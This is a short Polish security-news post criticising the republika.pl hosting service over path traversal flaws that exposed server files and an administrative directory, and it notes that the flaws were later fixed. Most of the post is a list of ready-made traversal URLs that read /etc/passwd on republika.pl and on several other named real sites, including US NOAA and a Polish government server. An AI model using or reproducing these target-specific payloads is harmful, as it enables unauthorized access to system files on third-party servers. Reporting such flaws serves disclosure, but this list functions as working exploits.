Niekompetencja czy ignorancja serwisu republika.pl ?

13 kwietnia br. pisaliśmy o błędach w serwisie republika.pl, który pozwalał pobrać prawie wszystkie pliki dostępne na serwerze oraz co ważniejsze pobrać plik z hasłami do wszystkich kont.

Dzisiaj, wydawać by się mogło, że sprawa ma się identycznie, gdyż administrator republika.pl nie reaguje na dostarczane mu komunikaty o błędach dzięki którym udało się nam znaleźć panel administracyjny serwisu republika.pl !

Republika – serwis administracyjny dostępny był pod adresem:

http://republika.pl/hcpunktm/images%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/usr/local/apache/htdocs/
Odkrywcą opisywanej luki jest Jakub Krysakowski.

http://republika.pl/hcpunktm/images%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/fwhsm/wlam/

http://republika.pl/hcpunktm/images%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

http://republika.pl/hcpunktm/images%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/fwhsm/save/controversy/

Rano ok. godz. 10 powyższe błędy zostały naprawione, otrzymaliśmy również odpowiedź od administratorów serwisu Republiki WWW, że „znaleziony” panel jest tylko zbiorem danych diagnostycznych i nie można poprzez niego wykonać ŻADNEJ akcji na serwerze WWW.

Błędy te są powszechnie znane, włączająć CGI, które ogólnie znaleźć można na wielu poważnych serwerach, w tym także rządowych:

http://www.nws.noaa.gov/cgi-bin/chgshow.pl?fn=/../../../../../etc/passwd
http://www.kape.gov.pl/php/ankieta/a.phtml?DATAFILE=/etc/passwd

oraz mniej ważnych:

http://www.drunkmenworkhere.org/194.php?url=http://hacking.pl

http://jokes.tmlogs.com/viewfile.php?file=../../etc/passwd

http://www.pingamejournal.com/articles/makehtma.php?file=/etc/passwd

http://www.anyedit.org/others.php?file=/etc/passwd

http://www.inf.brad.ac.uk/~rikirkca/index.php?file=../../../etc/passwd

http://www.up-uutispalvelu.fi/liite1.php?file=../../../../../etc/passwd

Zobacz również:
– Błąd w Onet.pl
– Bardzo poważny błąd w serwisie republika.pl